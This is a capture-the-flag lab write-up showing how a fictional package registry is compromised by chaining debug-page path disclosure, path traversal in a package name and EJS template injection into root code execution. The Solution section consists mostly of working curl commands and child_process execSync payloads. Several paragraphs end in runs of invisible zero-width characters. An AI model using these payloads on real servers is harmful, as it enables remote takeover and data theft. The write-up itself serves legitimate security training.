← Back to Writeups
CUSTOMMediumWeb

Lab 29 — PackForge — Path Traversal to RCE via Template Injection

XESXOR9/2/20265 min read
#web#custom#medium#child_process_exec#debug_endpoint_enumeration#ejs_ssti_to_rce#path_traversal_via_package_nam#template_file_overwrite

Lab 29 — PackForge — Path Traversal to RCE via Template Injection

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: child_process_exec, debug_endpoint_enumeration, ejs_ssti_to_rce, path_traversal_via_package_name, template_file_overwrite

Summary

Walkthrough of the CUSTOM Web Lab 29 — PackForge — Path Traversal to RCE via Template Injection. Task: NPM package registry (PackForge) with publish API and EJS README rendering; debug mode leaks internal paths. Solution: path traversal in scoped package name writes malicious EJS template to temp

Description

PackForge is a self-hosted package registry platform used by ForgeOps Inc. to manage internal NPM packages. The platform allows development teams to publish, version, and browse scoped packages through a web dashboard and REST API.

You've been given access to a staging instance of PackForge that has debug features enabled. The registry handles package uploads, README rendering, API token management, and system health monitoring.

Your objective is to find and exploit vulnerabilities in the platform to gain remote code execution and retrieve the flag stored on the server.

This is a multi-step challenge that requires chaining two vulnerabilities together. Start by understanding how the package publishing API works, and pay close attention to the system health information available in the staging environment.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A self-hosted NPM package registry running Express.js with EJS templating in staging/debug mode. The goal is to chain path traversal in the package publish API with server-side template injection in the README rendering system to achieve RCE and read /root/flag.txt.

Analysis

Step 1 — Reconnaissance & Login

Logged in with user@test.com / password123 via POST /login. The application is Express.js (Node.js v20.15.1) with EJS templating, running in staging/debug mode.

Key endpoints discovered from the sidebar navigation:

  • Dashboard: /
  • Packages: /packages
  • API Tokens: /settings/tokens
  • Profile: /settings/profile
  • System Health: /admin/health ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Important: The HTML source contains a decoy/honeypot flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in hidden divs and HTML comments — designed to trick automated scanners. This is NOT the real flag.

Step 2 — Information Disclosure via Debug Mode

The /admin/health page (accessible because staging/debug mode is enabled) leaked critical internal information:

CategoryDetail
RuntimeNode.js v20.15.1, Linux, staging environment, debug enabled
App Root/app
Data Directory/app/data
Packages Dir/app/data/packages
Templates Dir/app/data/templates
Uploads Dir/tmp/uploads
Database/app/data/database.db
Template EngineEJS v3.1.10
Loaded Templatesreadme-default.ejs, readme-detailed.ejs
Render Endpoint/api/v1/packages/render-readme
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The JSON API endpoint GET /api/v1/system/health returns the same info programmatically.

Step 3 — Understanding the Package Publishing API

From the /settings/tokens page, the API documentation reveals:

  • Authentication via x-api-token header (session cookie also works)
  • Publish endpoint: PUT /api/v1/packages/npm
  • JSON body format: {"name":"@org/my-pkg","version":"1.0.0","readme":"# My Package"}

The render-readme endpoint GET /api/v1/packages/render-readme accepts a template query parameter to select which EJS template to use:

  • ?template=readme-default.ejs → renders the default template
  • ?template=readme-detailed.ejs → renders the detailed template
  • ?template=nonexistent → error response leaks available templates and templatesDir path
  • Path traversal in the template parameter itself (e.g., ../packages/...) is blocked with "Invalid template name" ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4 — Path Traversal in Package Name (Vulnerability #1)

The package name in the publish API is used to construct the storage directory path without proper path traversal sanitization. The scoped package format @scope/name creates a nested directory structure, which can be abused:

name: "@forgeops/../templates/evil"   → storage: /app/data/packages/templates/evil  (partial)
name: "@forgeops/../../templates/evil" → storage: /app/data/templates/evil           (full traversal!)
name: "@forgeops/../../templates"      → storage: /app/data/templates                (targets templates dir)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The traversal works because:

  1. @forgeops/ creates the scope directory under /app/data/packages/
  2. ../../ traverses up from /app/data/packages/@forgeops/ to /app/data/
  3. templates lands in /app/data/templates

When publishing, the README content is saved as README.ejs inside the resolved storage directory — meaning we can write arbitrary .ejs files into the templates directory.

Step 5 — EJS Server-Side Template Injection (Vulnerability #2)

Since the README is saved as a .ejs file and the render-readme endpoint processes EJS templates from the templates directory, any EJS syntax in the README will be executed server-side. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1 — Authenticate and obtain session cookie

bash
URL="https://01d17927-42dc-4392-b7f7-aff7a35fb0e4.labs.hackadvisor.io"

curl -sk -c cookies.txt "$URL/login" -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=user@test.com&password=password123"

Step 2 — Confirm information disclosure

bash
curl -sk -b cookies.txt "$URL/api/v1/system/health" | python3 -m json.tool

Key output confirms templates directory at /app/data/templates and EJS v3.1.10. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3 — Confirm SSTI via path traversal

Publish a package with a traversal name and EJS expression in the README:

bash
curl -sk -b cookies.txt "$URL/api/v1/packages/npm" -X PUT \
  -H "Content-Type: application/json" \
  -d '{"name":"@forgeops/../../templates","version":"1.0.0","readme":"<%= 7*7 %>"}'

Response confirms the file was written:

json
{"ok":true,"package":"@forgeops/../../templates","version":"1.0.0","storage":"/app/data/templates"}

Trigger rendering:

bash
curl -sk -b cookies.txt "$URL/api/v1/packages/render-readme?template=README.ejs"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response: {"rendered":"49","template":"README.ejs"} — EJS code execution confirmed!

Step 4 — Escalate to RCE

Publish an RCE payload using Node.js child_process:

bash
curl -sk -b cookies.txt "$URL/api/v1/packages/npm" -X PUT \
  -H "Content-Type: application/json" \
  -d '{"name":"@forgeops/../../templates","version":"1.0.1","readme":"<%= global.process.mainModule.require(\"child_process\").execSync(\"id\").toString() %>"}'

Trigger execution:

bash
curl -sk -b cookies.txt "$URL/api/v1/packages/render-readme?template=README.ejs"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response: {"rendered":"uid=0(root) gid=0(root) groups=0(root),..."} — running as root.

Step 5 — Find and read the flag

bash
# Publish payload to find the flag
curl -sk -b cookies.txt "$URL/api/v1/packages/npm" -X PUT \
  -H "Content-Type: application/json" \
  -d '{"name":"@forgeops/../../templates","version":"1.0.2","readme":"<%= global.process.mainModule.require(\"child_process\").execSync(\"find / -name flag* 2>/dev/null\").toString() %>"}'

curl -sk -b cookies.txt "$URL/api/v1/packages/render-readme?template=README.ejs"
# → /root/flag.txt
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Read the flag
curl -sk -b cookies.txt "$URL/api/v1/packages/npm" -X PUT \
  -H "Content-Type: application/json" \
  -d '{"name":"@forgeops/../../templates","version":"1.0.3","readme":"<%= global.process.mainModule.require(\"child_process\").execSync(\"cat /root/flag.txt\").toString() %>"}'

curl -sk -b cookies.txt "$URL/api/v1/packages/render-readme?template=README.ejs"
# → FLAG{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering child_process_exec, debug_endpoint_enumeration, ejs_ssti_to_rce, path_traversal_via_package_name, template_file_overwrite was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-02 • CUSTOM • Lab 29 — PackForge — Path Traversal to RCE via Template Injection • Difficulty: Medium